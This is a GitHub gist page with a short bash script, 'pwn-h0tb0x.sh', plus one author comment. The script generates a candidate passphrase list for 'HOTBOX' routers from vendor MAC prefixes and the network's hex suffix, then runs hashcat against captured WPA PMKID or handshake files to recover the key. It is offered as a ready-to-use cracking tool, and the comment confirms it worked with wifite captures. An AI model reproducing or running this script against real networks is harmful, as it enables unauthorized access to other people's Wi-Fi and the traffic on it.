Skip to content

Instantly share code, notes, and snippets.

@D4rk4
Last active May 19, 2019 20:59
Show Gist options
  • Save D4rk4/a94ace503f2ddb85f3e9e1039049b432 to your computer and use it in GitHub Desktop.
Save D4rk4/a94ace503f2ddb85f3e9e1039049b432 to your computer and use it in GitHub Desktop.
Usage: pwn-h0tb0x.sh /path/to/pmkid_HOTBOXABCD_6C-2E-85-FE-BE-AA_2029-03-07T10-47-49.16800
#!/bin/bash
nethex=`echo ${1}|cut -f2 -d_|sed 's/HOTBOX//'|tr '[:upper:]' '[:lower:]'`
dict='/tmp/hothex.dict'
append_hex () {
while read pref
do
from=00 to=ff
if test "${#from}" -gt "${#to}"; then
format="$pref%0${#from}x$nethex\n"
else
format="$pref%0${#to}x$nethex\n"
fi
from=$(printf '%d' "0x$from") to=$(printf '%d' "0x$to")
while test "$from" -le "$to"; do
printf "$format" "$from"
from=$((from+1))
done
done << EOM
b4eeb4
c0ac54
c0d044
c8cd72
cc33bb
d86ce9
e0ca94
e0cec3
e8be81
e8f1b0
f08261
fcb4e6
2c3996
2ce412
3c81d8
4c17eb
6c2e85
7c034c
7c03d8
7cb733
086a0a
94fef4
348aae
00789e
18622c
90013b
681590
EOM
}
append_hex > ${dict}
if [[ ${1} =~ .*16800 ]]
then
hashcat -m 16800 -a 0 ${1} ${dict} --force
else
## wget https://raw.githubusercontent.com/hashcat/hashcat-utils/master/src/cap2hccapx.c
## gcc -o cap2hccapx cap2hccapx.c
cap2hccapx ${1} ${1}.hccapx && \
hashcat -m 2500 -a 0 ${1}.hccapx ${dict} --force
fi
rm -rf ${dict}
rm -rf ${1}.hccapx
@D4rk4
Copy link
Author

D4rk4 commented May 18, 2019

Worked with pmkid generated by wifite suite

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment